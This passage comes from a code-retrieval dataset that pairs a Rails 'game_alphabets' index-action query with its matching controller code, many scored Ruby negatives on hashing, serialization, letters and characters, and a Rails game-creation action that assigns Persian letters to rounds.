t.inject(0) {|acc,(k,v)| acc ^ dhash([k,v]) }\n else raise ArgumentError, \"cannot hash #{t.inspect}\"\n end\n end", "def hash\n @hash || @hash = (value.hash * -1)\n end", "def hash\n Zlib.crc32(to_a.map(&:to_s).sort.to_s)\n end", "def save_hashes_for_write\n \n end", "def hexists(key, field); end", "def hexists(key, field); end", "def hash_byte_size\n return 20\n end", "def inspect\n @hash.inspect\n end", "def hash\n @symbols.hash + 37*positive?.hash\n end", "def hash\n return super unless has_size?\n\n res = 0\n each do |el|\n res += el.hash\n end\n return res\n end", "def dump(obj, max_bytes: 2**12, max_depth: 3)\n bytesize = 0\n\n line = obj.each_with_object([]) do |(k, v), acc|\n str = \"#{dump_key(k)}=#{dump_val(v, max_depth)}\"\n items = acc.size - 1\n\n if bytesize + str.bytesize + items > max_bytes\n if bytesize + items +\n (acc[-1].bytesize - ELLIPSIS.bytesize) > max_bytes\n acc.pop\n end\n acc << ELLIPSIS\n break acc\n else\n bytesize += str.bytesize\n acc << str\n end\n end\n line.join(SPACE)\n end", "def dump(obj, max_bytes: 2**12, max_depth: 3)\n bytesize = 0\n\n hash = obj.each_with_object({}) do |(k, v), acc|\n str = (k.to_json + v.to_json)\n items = acc.keys.size - 1\n\n if bytesize + str.bytesize + items + ELLIPSIS.bytesize > max_bytes\n acc[k] = ELLIPSIS\n break acc\n else\n bytesize += str.bytesize\n acc[k] = dump_val(v, max_depth)\n end\n end\n ::JSON.generate(hash)\n end", "def hash\n to_s.hash\n end", "def hash\n to_s.hash\n end", "def hash\n type.hash ^ (id.hash >> 1)\n end", "def hash_length\n super\n end", "def dump(output)\n out = []\n output.each_pair do |key, val|\n out << \"#{key}\\n\"\n out << \"=\" * 30\n out << \"\\n\"\n out << output.delete(key)\n out << \"\\n\"\n end\n out.join(\"\")\n end", "def hash\n @hash\n end", "def deep_stringify(hsh)\n hsh.each do |key, value|\n if value.kind_of?(Hash)\n deep_stringify(value)\n elsif value.kind_of?(Symbol)\n hsh.delete[key]\n hsh[key.to_s] = value.to_s\n end\n end\n\n hsh\n end", "def hash=(_arg0); end", "def hash\n return to_s.hash\n end", "def hash\n swap\n scatter\n completed_string\n end", "def hash\n value.hash\n end", "def hash_bytes(blob)\n tlsh_hash(blob)\n end", "def hashes(to = $stdout)\n hashes = {}\n \n ObjectSpace.each_object(Hash) do |hash|\n begin\n keys_orig = hash.keys.sort\n rescue ArgumentError\n #When unable to sort regexps...\n next\n end\n \n keys = []\n keys_orig.each do |key|\n keys << key.to_s\n end\n \n if keys.empty?\n keystr = :empty\n else\n keystr = keys.join(\":\")\n end\n \n if !hashes.key?(keystr)\n hashes[keystr] = 1\n else\n hashes[keystr] += 1\n end\n end\n \n hashes.delete_if do |key, val|\n val < 100\n end\n \n hashes = Knj::ArrayExt.hash_sort(hashes) do |h1, h2|\n h2[1] <=> h1[1]\n end\n \n to.print \"<h1>Hashes</h1>\\n\"\n to.write \"<table class=\\\"hashes list\\\">\\n\"\n to.write \"\\t<thead>\\n\"\n to.write \"\\t\\t<tr>\\n\"\n to.write \"\\t\\t\\t<th>Hash keys</th>\\n\"\n to.write \"\\t\\t\\t<th>Instances</th>\\n\"\n to.write \"\\t\\t</tr>\\n\"\n to.write \"\\t</thead>\\n\"\n to.write\"\\t<tbody>\\n\"\n \n hashes.each do |key, val|\n to.write \"\\t\\t<tr>\\n\"\n to.write \"\\t\\t\\t<td>#{Knj::Web.html(key)}</td>\\n\"\n to.write \"\\t\\t\\t<td>#{Knj::Locales.number_out(val, 0)}</td>\\n\"\n to.write \"\\t\\t</tr>\\n\"\n end\n \n to.write \"\\t</tbody>\\n\"\n to.write \"</table>\\n\"\n end", "def dump() end", "def __hash\n @hash\n end", "def write_hash(hash)\n\t\twrite_byte(3)\n\t\thash.each do |key, value|\n\t\t\twrite_utf(key.to_s)\n\t\t\twrite(value)\n\t\tend\n\n\t\t# write the end object flag 0x00, 0x00, 0x09\n\t\twrite_int16_network(0)\n\t\twrite_byte(9)\n\tend", "def get_hash(s)\r\n\t\tvals = s.unpack('U*').map {|x| ((x ** 2000) * ((x + 2) ** 21) - ((x + 5) ** 3))}\r\n\t\tvals = vals.inject(0, :+) % 65536\r\n\t\treturn vals.to_s(16)\r\n\tend", "def dump_memory(i, opts={}); get_memory(i, opts).hexdump; end", "def hash\n guid.hash\n end", "def hashes(h)\n\th.each_key {|k|p k}\n\th.each_value {|v|p v}\n\th.each {|k,v| puts \"#{k}: #{v}\"}\nend", "def test_calc_hash\r\n\t\ts = \"SYSTEM>Gaozu(100)\"\r\n\t\ttb = Block.new(\"0\", \"0\", s, \"1518893687.329767000\", \"fd19\")\r\n\t\tstringVal = tb.get_calculated_hash\r\n\t\tval = stringVal.strip.eql? \"fd18\"\r\n\t\t\r\n\t\tassert_equal val, true\r\n\tend", "def hash\r\n id.hash\r\n end", "def serialize(hash)\n hash.inspect\n end", "def all_chunk_hashes\n\t\t\n\t\tbegin\n\t\t\t@all_chunk_map = \"\"\n\t\t\t0.upto(num_chunks-1) { |i|\n\t\t\t\t@all_chunk_map += sha1_chunk(i)\n\t\t\t}\n\n\t\tend unless @all_chunk_map\n\t\t@all_chunk_map\n\tend", "def hash() source.hash ^ (target.hash+1); end", "def hash() source.hash ^ (target.hash+1); end", "def hash\n id.hash\n end", "def hash\n id.hash\n end", "def validate_hash(info)\r\n\t\t# passes in the parsed info\r\n\t\tstring_to_hash = get_string_to_hash(info)\r\n\t\tcorrect_hash = get_hash(string_to_hash)\r\n\t\t#puts string_to_hash\r\n\t\treturn correct_hash.strip == info['self_hash'].strip\r\n\tend", "def hash\n raw = [name, type, values.join('/')].join(' ')\n Digest::MD5.hexdigest(raw)\n end" ]
[ "0.707597", "0.707597", "0.707597", "0.707597", "0.707597", "0.707597", "0.707597", "0.6689132", "0.6592332", "0.6584434", "0.6584434", "0.6584434", "0.6584434", "0.6584434", "0.6584434", "0.6584434", "0.6584434", "0.6584434", "0.6584434", "0.6554643", "0.6554643", "0.65524864", "0.6489981", "0.64050996", "0.6345641", "0.6294097", "0.62816095", "0.6267575", "0.6238286", "0.6226692", "0.6226692", "0.6226692", "0.62204677", "0.6211456", "0.6204779", "0.61954737", "0.617537", "0.61340356", "0.61340356", "0.61340356", "0.6103285", "0.6088285", "0.6072608", "0.60673666", "0.6056648", "0.60276705", "0.6026118", "0.602553", "0.60117644", "0.6005289", "0.6003716", "0.6003716", "0.5990132", "0.5961661", "0.59593946", "0.5950286", "0.5945218", "0.59379107", "0.58964026", "0.5862414", "0.5857631", "0.5842606", "0.5836144", "0.58297163", "0.58297163", "0.58188945", "0.5813575", "0.5812067", "0.5809749", "0.5806975", "0.5798266", "0.57950485", "0.57950485", "0.57788926", "0.57745534", "0.5767881", "0.57672167", "0.5754063", "0.5749298", "0.57407606", "0.5739599", "0.5738877", "0.5738525", "0.57313806", "0.57303035", "0.5722937", "0.5720202", "0.57181406", "0.57125676", "0.57058847", "0.56940645", "0.56858724", "0.5683284", "0.56817853", "0.56813025", "0.5680557", "0.5680557", "0.5677744", "0.5677744", "0.56693196", "0.56678283" ]
0.0
-1
load_and_authorize_resource GET /game_alphabets GET /game_alphabets.json
def index @game_alphabets = GameAlphabet.all end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def gather_alphabets\n \talphabets = helpers.gather_alphabets\n\n render json: {\n data: alphabets\n }\n \t\n end", "def index\n @alphabets = Alphabet.all\n end", "def game_alphabet_params\n params.require(:game_alphabet).permit(:game_id, :round_number, :alphabet)\n end", "def letter_choices(game_data)\n \"USED LETTERS: #{game_data.chosen_letters}\"\n end", "def get_alpha\n@alphabet\nend", "def set_game_alphabet\n @game_alphabet = GameAlphabet.find(params[:id])\n end", "def alphabet\n read_attr :alphabet\n end", "def alphabet\n ('A'..'Z').to_a\n end", "def alphabet\n ('A'..'Z').to_a\n end", "def alphabet\n ('a'..'z').to_a\n end", "def alphabet\n 'abcdefghijklmnopqrstuvwxyz'\n end", "def english_word(attempt)\n url = \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n # Jason \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n raw_response = open(url).read\n JSON.parse(raw_response, symbolize_names: true)\n end", "def index\n @game_codes = GameCode.accessible_by(current_ability)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game_codes }\n end\n end", "def get_character_names\n\t\t\tget_all_character_uris.map { |uri| get_character_name(json(uri)) }\n end", "def game_params\n params.require(:game).permit(:letters)\n end", "def index\n response = if Flipper.enabled?(:mobile_lighthouse_letters, @current_user)\n lighthouse_service.get_letters[:letters]\n else\n evss_service.get_letters.letters\n end\n\n render json: Mobile::V0::LettersSerializer.new(@current_user, response)\n end", "def index\n characters = @project.characters.all\n render json: { characters: characters }\n end", "def index\n @characters = Character.all\n\n render json: @characters\n end", "def generate_alphabet\n (\"a\"..\"z\").to_a\nend", "def character_achievements\r\n BnetApi::make_request('/wow/data/character/achievements')\r\n end", "def create\n @game_alphabet = GameAlphabet.new(game_alphabet_params)\n\n respond_to do |format|\n if @game_alphabet.save\n format.html { redirect_to @game_alphabet, notice: 'Game alphabet was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game_alphabet }\n else\n format.html { render action: 'new' }\n format.json { render json: @game_alphabet.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_alphabet\n @alphabet = Alphabet.find(params[:id])\n end", "def get_character_list account\n end", "def letters\n @letters ||= {\n \"2\" => ['a','b','c'],\n \"3\" => ['d','e','f'],\n \"4\" => ['g','h','i'],\n \"5\" => ['j','k','l'],\n \"6\" => ['m','n','o'],\n \"7\" => ['p','q','r','s'],\n \"8\" => ['t','u','v'],\n \"9\" => ['w','x','y','z']\n }\n end", "def alphabet_array\n ('A'..'Z').to_a\n end", "def get_character_hash(link)\n all_characters = RestClient.get(link)\n character_hash = JSON.parse(all_characters)\nend", "def new_game(dictionary)\n\t\t@dictionary = dictionary.map { |w| w.chomp }\n\t\t@played_letters = []\n\t\t@letters = ('a'..'z').to_a\n\tend", "def letterbank\n {\n vowels: [\"a\",\"e\",\"i\",\"o\",\"u\"],\n cap_vowels: [\"A\",\"E\",\"I\",\"O\",\"U\"],\n consonants: [\"b\",\"c\",\"d\",\"f\",\"g\",\"h\",\"j\",\"k\",\"l\",\"m\",\n \"n\",\"p\",\"q\",\"r\",\"s\",\"t\",\"v\",\"w\",\"x\",\"y\",\"z\"],\n cap_consonants: [\"B\",\"C\",\"D\",\"F\",\"G\",\"H\",\"J\",\"K\",\"L\",\"M\",\n \"N\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"V\",\"W\",\"X\",\"Y\",\"Z\"],\n catch_all: [\" \", \"@\", \".\", \"-\"]\n }\nend", "def fetch_list_characters\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n response_hash = JSON.parse(response_string)\n\n character = response_hash[\"results\"].map {|char| char[\"name\"]}\nend", "def index\n @letters = Letter.all\n end", "def destroy\n @game_alphabet.destroy\n respond_to do |format|\n format.html { redirect_to game_alphabets_url }\n format.json { head :no_content }\n end\n end", "def player_show_alph\n\t\t@letter_track.each_key{|key| puts key}\n\tend", "def read_characters()\n readfile = File.read(\"characters.json\")\n return JSON.parse(readfile)\nend", "def index\n @human_names = HumanName.search(params)\n\t\t@letters = get_turkish_alphabet()\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.json { render :json => @human_names }\n end\n end", "def getAlphabet\n alphabet = \"A\"..\"Z\"\n $alphabet_array = alphabet.to_a\nend", "def index\n @regions, @alphaParams = \n Region.all.sort_by{ |r| r.name.downcase }\n .alpha_paginate(params[:letter], {:js => true}){|region| region.name}\n\n respond_to do |format|\n format.html\n format.json { render json: @regions }\n end\n end", "def guessable_letters(animal)\n alphabet = *('a'..'z')\n letter_array = animal.name.downcase.split('')\n\n while letter_array.length < 12\n letter_array.push(alphabet.sample)\n end\n return letter_array.shuffle\n end", "def draw_letters\n letter_freq = {\n A: 9, N: 6, B: 2, O: 8, C: 2, P: 2, D: 4, Q: 1, E: 12, R: 6, F: 2, S: 4,\n G: 3, T: 6, H: 2, U: 4, I: 9, V: 2, J: 1, W: 2, K: 1, X: 1, L: 4, Y: 2, M: 2, Z: 1,\n }\n\n avail_letters = array_gen(letter_freq)\n used_letters = avail_letters.sample(10)\n\n return used_letters\nend", "def get_all_character_apis\n\t\t\tjson(@@movie_api)[\"results\"].map { |movie| movie[\"characters\"]}.flatten\n end", "def guessed_letters()\n guessed = $bucket.join(\" \") # return a string of guessed letters\nend", "def index\n authorize! :manage, Character\n\n @characters = @characters.includes(:user).ordered\n\n respond_to do |format|\n format.html { @characters = @characters.page(params[:page]).per(50) }\n format.json { }\n end\n end", "def show\n render json: @character\n end", "def get_letters(word)\n word.encode('UTF-8').downcase.split(\"\")\n end", "def create\n @game = Game.new(game_params)\n if user_signed_in?\n @game.creator_id = current_user.id\n end\n @game.joined_players = 1\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'بازی جدید ایجاد شد.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n UserGame.create_user_game(current_user,@game)\n #@alphabets = ['s','y','z','a','b']\n @alphabets = ['الف' , 'ب' , '‍‍‍پ' , 'ت' , 'ث' , 'ج' , 'چ' , 'ح' , 'خ' , 'د' , 'ذ' , 'ر' , 'ز' , 'ژ' , 'س' , 'ش' , 'ص' , 'ض' , 'ط' , 'ظ' , 'ع' , 'غ' , 'ف' , 'ق' , 'ک' , 'گ' , 'ال' , 'م' , 'ن' , 'و' , 'ه' , 'ی']\n#\t\n for i in 1..@game.rounds_num\n\t@selected_letter = @alphabets.sample\n\t@alphabets.delete(@selected_letter)\n\tGameAlphabet.new_game_alphabet(@game.id,i,@selected_letter)\n Timer.new_timer(@game.id,i)\n end\n end", "def letters\n @letters.join(\"\")\n end", "def create\n @alphabet = Alphabet.new(alphabet_params)\n\n respond_to do |format|\n if @alphabet.save\n format.html { redirect_to @alphabet, notice: 'Alphabet was successfully created.' }\n format.json { render :show, status: :created, location: @alphabet }\n else\n format.html { render :new }\n format.json { render json: @alphabet.errors, status: :unprocessable_entity }\n end\n end\n end", "def abilities\n get('/ability/')\n end", "def _LETTER\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_ALPHA)\n break if _tmp\n self.pos = _save\n _tmp = match_string(\"_\")\n break if _tmp\n self.pos = _save\n break\n end # end choice\n\n set_failed_rule :_LETTER unless _tmp\n return _tmp\n end", "def alphabet_hash\n alpha_table = {}\n (('A'..'Z').zip(0..25)).each { |x| alpha_table[x[0]] = x[1] }\n alpha_table\n end", "def english_word?(attempt)\n url = \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n user_serialized = open(url).read\n user = JSON.parse(user_serialized)\n user['found']\n end", "def letter_table\n $game_system.japanese? ? LETTER_TABLE_FULL : LETTER_TABLE_HALF\n end", "def letter_array (name)\n\tname.chars\nend", "def get_poss_characters()\n alpha = \"abcdefghijklmnopqrstuvwxyz0123456789\"\n poss = []\n for i in (0..alpha.length-1)\n poss.push(alpha[i])\n end\n return poss\nend", "def get_alphabet_list(my_uri)\n r = Array.new\n uri = URI.parse(my_uri)\n str = uri.read\n # Please test this regular expression in Rubular, if you don't trust me, :-)\n # Replace it if you can come out a better regular expression\n str.scan(/<a[^\"|']+[\"|']([^\"|']+)[\"|']\\s*>([A-Z]+\\s*-\\s*[A-Z]+)/) {|w| r += [w] }\n return r\n end", "def letters\n @letters ||= (\n load_letters || corpus.letters\n )\n end", "def guess_letters\n guess_array = []\n @current_word.each do\n guess_array << \"_\"\n end\n return guess_array\n end", "def fetch_characters\n api = EVEAPI::API.new\n api.api_id = api_id\n api.v_code = v_code\n\n xml = api.get(\"account/APIKeyInfo\")\n characters = []\n xml.xpath(\"//row\").each do |row|\n characters << {\n :name => row['characterName'],\n :id => row['characterID'],\n :corporation_name => row['corporationName'],\n :corporation_id => row['corporationID'],\n :api_id => api_id,\n :v_code => v_code\n }\n end\n characters \n end", "def all\n params[:letter] ||= \"a\"\n params[:letter] = params[:letter] + \"a\" # to ensure there's something to match below...\n params[:letter] = params[:letter].downcase.match(/\\w{1}/).to_s\n @all_artists = {}\n (\"a\"..\"z\").each do |letter|\n @all_artists[letter] = []\n end\n Artist.all_for_website(website).each do |artist|\n artist.name.downcase.match(/^(\\w)/)\n first_letter = $1 || 'z'\n @all_artists[first_letter] << artist\n end\n @artists = @all_artists[params[:letter]]\n render_template\n end", "def current_account_characters\n current_account.characters\n end", "def available_letters\n ltrs = []\n letter_set.letter_amount_points.each do |k, v|\n ltrs << k.to_s unless k == '?'\n end\n return ltrs.sort\n end", "def list_ability(pk)\n puts \"\"\n puts \"Abilities:\"\n puts \"\"\n puts pk.abilities\n puts \"\"\n end", "def get_letters(game)\n game.letters.split(\"\").reject{|letter| game.word.upcase.include?(letter)}.join(\" \")\nend", "def index\n @players = Player.order 'lower(name)'\n render json: @players, serializer: V1::ApplicationArraySerializer\n end", "def index\n @game = Game.find(current_user.game_setting_id || 1)\n authorize @game\n @levels = @game.levels\n @modes = @game.modes\n @strategies = @game.strategies\n @strategy = Strategy.new\n end", "def ordered_abilities\n ability_names.sort\n end", "def all\n @fractions, @alphaParams = \n Fraction.all.sort_by{ |f| f.name }\n .alpha_paginate(params[:letter], {:js => true}){|fraction| fraction.name}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fractions }\n end\n end", "def index\n @abilities = Ability.all\n end", "def index\n @games = Game.accessible_by(current_ability, :manage).actual\n end", "def ability_db_symbol\n GameData::Abilities.db_symbol(ability)\n end", "def update\n respond_to do |format|\n if @game_alphabet.update(game_alphabet_params)\n format.html { redirect_to @game_alphabet, notice: 'Game alphabet was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @game_alphabet.errors, status: :unprocessable_entity }\n end\n end\n end", "def caesar_guesser(encrypted_string, alphabet)\r\n\r\nend", "def index\r\n @characters = Character.all\r\n end", "def character_races\r\n BnetApi::make_request('/wow/data/character/races')\r\n end", "def letters\n the_letters = []\n letter_regex = /[a-z]/i\n chars.each do |character|\n the_letters << character if character.match(letter_regex)\n end\n the_letters.join\n end", "def gen_alpha(length = 10)\n positive_int! length\n gen_string_from_letters length, ASCII_LETTERS\n end", "def list_characters\n puts \"\"\n puts \"-----------------------------------------------\"\n puts \"\"\n puts \"Please select a character number:\"\n puts \"\"\n Api.all_character_data_list_of_names\n list_characters_options\n end", "def index\n @character_sheets = CharacterSheet.all \n @character_sheet = @character_sheets.first \n @skills = Skill.all\n @abilities = @character_sheet.abilities if @character_sheet\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @character_sheets }\n end\n end", "def caesar_guesser(encrypted_string, alphabet)\nend", "def game_params\n params.require(:game).permit(:letter_that_answers_must_start_with, answers: {})\n end", "def index\n @characters = current_user.characters.all\n end", "def validated_characters\n self.accounts.find(:all, :conditions => ['validated = true'], :include=>{:characters => [:corporation, :alliance]}).collect(&:characters).flatten\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def index\n @characters = Character.all\n end", "def get_all_characters(page=nil)\n\n if page\n response = RestClient.get(page)\n else\n response = RestClient.get(\"https://swapi.co/api/people\")\n end\n characters_array = JSON.parse(response.body)[\"results\"]\n\n characters_array.each do |character|\n StarWarsCliApi::Character.new(character)\n end\n\n # next_page = JSON.parse(response.body)[\"next\"]\n # if next_page\n # get_all_characters(next_page)\n # end\n end", "def index\n @games = Game.available\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "def character_classes\r\n BnetApi::make_request('/wow/data/character/classes')\r\n end", "def nato_phonetic_alphabet # rubocop:disable Metrics/MethodLength\n {\n 'a' => 'Alfa',\n 'b' => 'Bravo',\n 'c' => 'Charlie',\n 'd' => 'Delta',\n 'e' => 'Echo',\n 'f' => 'Foxtrot',\n 'g' => 'Golf',\n 'h' => 'Hotel',\n 'i' => 'India',\n 'j' => 'Juliett',\n 'k' => 'Kilo',\n 'l' => 'Lima',\n 'm' => 'Mike',\n 'n' => 'November',\n 'o' => 'Oscar',\n 'p' => 'Papa',\n 'q' => 'Quebec',\n 'r' => 'Romeo',\n 's' => 'Sierra',\n 't' => 'Tango',\n 'u' => 'Uniform',\n 'v' => 'Victor',\n 'w' => 'Whiskey',\n 'x' => 'X-ray',\n 'y' => 'Yankee',\n 'z' => 'Zulu'\n }\nend", "def gluck_italian; end", "def alphabet\n alpha = []\n @transitions.each { |k,v| alpha += v.keys }\n Set.new(expand_symbols(alpha))\n end", "def show\n # byebug\n render json: @character, each_serializer: SimpleCharacterSerializer\n end", "def alphabet_params\n params.require(:alphabet).permit(:nr, :letter, :nv, :name, :transcription, :ar_name, :ar_name_transcription, :has_all_writings)\n end", "def index\n @characters = Character.all.paginate page: params[:page]\n render json: {\n current_page: @characters.current_page,\n per_page: @characters.per_page,\n total: @characters.total_entries,\n results: @characters\n }\n end", "def draw_letters\n letter_pool = {\n A: 9, B: 2, C: 2, D: 4, E: 12, F: 2, G: 3, H: 2, I: 9, J: 1,K: 1, L: 4, M: 2, N: 6, O: 8, P: 2, Q: 1, R: 6, S: 4, T: 6, U: 4, V: 2, W: 2, X: 1, Y: 2, Z: 1 \n }\n\n hand = []\n letter_pool.each do |letter, quantity|\n quantity.times do |i|\n hand << letter.to_s\n end\n end\n\n return hand.sample(10)\nend", "def show\n @letters = @paper.letters.order(id: :asc)\n end" ]
[ "0.7761794", "0.69334084", "0.62090445", "0.62068486", "0.6199391", "0.6199386", "0.6175006", "0.61218184", "0.61218184", "0.606902", "0.5921776", "0.5847844", "0.5835356", "0.5808569", "0.58034414", "0.5765683", "0.5726098", "0.5703627", "0.57005197", "0.5629907", "0.5605382", "0.5604957", "0.5575763", "0.5575672", "0.5518947", "0.5513205", "0.55017215", "0.5467192", "0.54076844", "0.54024076", "0.53766525", "0.5328273", "0.5315753", "0.52973413", "0.52959025", "0.5289152", "0.52743495", "0.52691966", "0.5250892", "0.5248956", "0.5221256", "0.5212475", "0.52022064", "0.5198492", "0.5184516", "0.5182832", "0.517639", "0.51620024", "0.5161901", "0.5152602", "0.5145954", "0.5145303", "0.51414496", "0.51408446", "0.5140444", "0.51391906", "0.51319104", "0.51294255", "0.51283514", "0.512291", "0.51051587", "0.5101108", "0.5097378", "0.5091956", "0.5088084", "0.50711447", "0.5063585", "0.5061942", "0.5055507", "0.50553066", "0.50533897", "0.50391805", "0.5035508", "0.50314873", "0.50294167", "0.50253904", "0.50250965", "0.5024572", "0.5018896", "0.5012733", "0.5010061", "0.50040936", "0.50040936", "0.50040936", "0.50040936", "0.50040936", "0.50040936", "0.50040936", "0.50040936", "0.49996996", "0.49993166", "0.49901", "0.49854958", "0.497819", "0.49781778", "0.49678987", "0.49629492", "0.49450505", "0.4940904", "0.4940172" ]
0.71056765
1
GET /game_alphabets/1 GET /game_alphabets/1.json
def show end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def gather_alphabets\n \talphabets = helpers.gather_alphabets\n\n render json: {\n data: alphabets\n }\n \t\n end", "def index\n @game_alphabets = GameAlphabet.all\n end", "def index\n @alphabets = Alphabet.all\n end", "def english_word(attempt)\n url = \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n # Jason \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n raw_response = open(url).read\n JSON.parse(raw_response, symbolize_names: true)\n end", "def index\n characters = @project.characters.all\n render json: { characters: characters }\n end", "def get_character_names\n\t\t\tget_all_character_uris.map { |uri| get_character_name(json(uri)) }\n end", "def set_game_alphabet\n @game_alphabet = GameAlphabet.find(params[:id])\n end", "def index\n @characters = Character.all\n\n render json: @characters\n end", "def get_character_hash(link)\n all_characters = RestClient.get(link)\n character_hash = JSON.parse(all_characters)\nend", "def get_alpha\n@alphabet\nend", "def index\n response = if Flipper.enabled?(:mobile_lighthouse_letters, @current_user)\n lighthouse_service.get_letters[:letters]\n else\n evss_service.get_letters.letters\n end\n\n render json: Mobile::V0::LettersSerializer.new(@current_user, response)\n end", "def game_alphabet_params\n params.require(:game_alphabet).permit(:game_id, :round_number, :alphabet)\n end", "def letter_choices(game_data)\n \"USED LETTERS: #{game_data.chosen_letters}\"\n end", "def alphabet\n 'abcdefghijklmnopqrstuvwxyz'\n end", "def alphabet\n ('A'..'Z').to_a\n end", "def alphabet\n ('A'..'Z').to_a\n end", "def alphabet\n ('a'..'z').to_a\n end", "def fetch_list_characters\n response_string = RestClient.get('http://www.swapi.co/api/people/')\n response_hash = JSON.parse(response_string)\n\n character = response_hash[\"results\"].map {|char| char[\"name\"]}\nend", "def destroy\n @game_alphabet.destroy\n respond_to do |format|\n format.html { redirect_to game_alphabets_url }\n format.json { head :no_content }\n end\n end", "def index\n @human_names = HumanName.search(params)\n\t\t@letters = get_turkish_alphabet()\n\n respond_to do |format|\n format.html # index.html.erb\n format.js\n format.json { render :json => @human_names }\n end\n end", "def index\n @game_codes = GameCode.accessible_by(current_ability)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @game_codes }\n end\n end", "def alphabet\n read_attr :alphabet\n end", "def player_show_alph\n\t\t@letter_track.each_key{|key| puts key}\n\tend", "def new_game(dictionary)\n\t\t@dictionary = dictionary.map { |w| w.chomp }\n\t\t@played_letters = []\n\t\t@letters = ('a'..'z').to_a\n\tend", "def show\n render json: @character\n end", "def create\n @game_alphabet = GameAlphabet.new(game_alphabet_params)\n\n respond_to do |format|\n if @game_alphabet.save\n format.html { redirect_to @game_alphabet, notice: 'Game alphabet was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game_alphabet }\n else\n format.html { render action: 'new' }\n format.json { render json: @game_alphabet.errors, status: :unprocessable_entity }\n end\n end\n end", "def all\n @fractions, @alphaParams = \n Fraction.all.sort_by{ |f| f.name }\n .alpha_paginate(params[:letter], {:js => true}){|fraction| fraction.name}\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @fractions }\n end\n end", "def index\n @letters = Letter.all\n end", "def generate_alphabet\n (\"a\"..\"z\").to_a\nend", "def get_all_characters(page=nil)\n\n if page\n response = RestClient.get(page)\n else\n response = RestClient.get(\"https://swapi.co/api/people\")\n end\n characters_array = JSON.parse(response.body)[\"results\"]\n\n characters_array.each do |character|\n StarWarsCliApi::Character.new(character)\n end\n\n # next_page = JSON.parse(response.body)[\"next\"]\n # if next_page\n # get_all_characters(next_page)\n # end\n end", "def letters\n @letters ||= {\n \"2\" => ['a','b','c'],\n \"3\" => ['d','e','f'],\n \"4\" => ['g','h','i'],\n \"5\" => ['j','k','l'],\n \"6\" => ['m','n','o'],\n \"7\" => ['p','q','r','s'],\n \"8\" => ['t','u','v'],\n \"9\" => ['w','x','y','z']\n }\n end", "def letter_table\n $game_system.japanese? ? LETTER_TABLE_FULL : LETTER_TABLE_HALF\n end", "def set_alphabet\n @alphabet = Alphabet.find(params[:id])\n end", "def guessed_letters()\n guessed = $bucket.join(\" \") # return a string of guessed letters\nend", "def game_params\n params.require(:game).permit(:letters)\n end", "def get_letters(word)\n word.encode('UTF-8').downcase.split(\"\")\n end", "def index\n @characters = Character.all.paginate page: params[:page]\n render json: {\n current_page: @characters.current_page,\n per_page: @characters.per_page,\n total: @characters.total_entries,\n results: @characters\n }\n end", "def index\n @games = Game.available\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "def index\n @games = Game.all\n render json: @games\n end", "def index\n @games = Game.order('title')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "def guess_letters\n guess_array = []\n @current_word.each do\n guess_array << \"_\"\n end\n return guess_array\n end", "def index\n @regions, @alphaParams = \n Region.all.sort_by{ |r| r.name.downcase }\n .alpha_paginate(params[:letter], {:js => true}){|region| region.name}\n\n respond_to do |format|\n format.html\n format.json { render json: @regions }\n end\n end", "def index\n @players = Player.order(:gamertag_lower).all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @players }\n end\n end", "def all\n params[:letter] ||= \"a\"\n params[:letter] = params[:letter] + \"a\" # to ensure there's something to match below...\n params[:letter] = params[:letter].downcase.match(/\\w{1}/).to_s\n @all_artists = {}\n (\"a\"..\"z\").each do |letter|\n @all_artists[letter] = []\n end\n Artist.all_for_website(website).each do |artist|\n artist.name.downcase.match(/^(\\w)/)\n first_letter = $1 || 'z'\n @all_artists[first_letter] << artist\n end\n @artists = @all_artists[params[:letter]]\n render_template\n end", "def english_word?(attempt)\n url = \"https://wagon-dictionary.herokuapp.com/#{attempt}\"\n user_serialized = open(url).read\n user = JSON.parse(user_serialized)\n user['found']\n end", "def fetch_characters\n api = EVEAPI::API.new\n api.api_id = api_id\n api.v_code = v_code\n\n xml = api.get(\"account/APIKeyInfo\")\n characters = []\n xml.xpath(\"//row\").each do |row|\n characters << {\n :name => row['characterName'],\n :id => row['characterID'],\n :corporation_name => row['corporationName'],\n :corporation_id => row['corporationID'],\n :api_id => api_id,\n :v_code => v_code\n }\n end\n characters \n end", "def show\n # byebug\n render json: @character, each_serializer: SimpleCharacterSerializer\n end", "def read_characters()\n readfile = File.read(\"characters.json\")\n return JSON.parse(readfile)\nend", "def get_letters(game)\n game.letters.split(\"\").reject{|letter| game.word.upcase.include?(letter)}.join(\" \")\nend", "def _LETTER\n\n _save = self.pos\n while true # choice\n _tmp = apply(:_ALPHA)\n break if _tmp\n 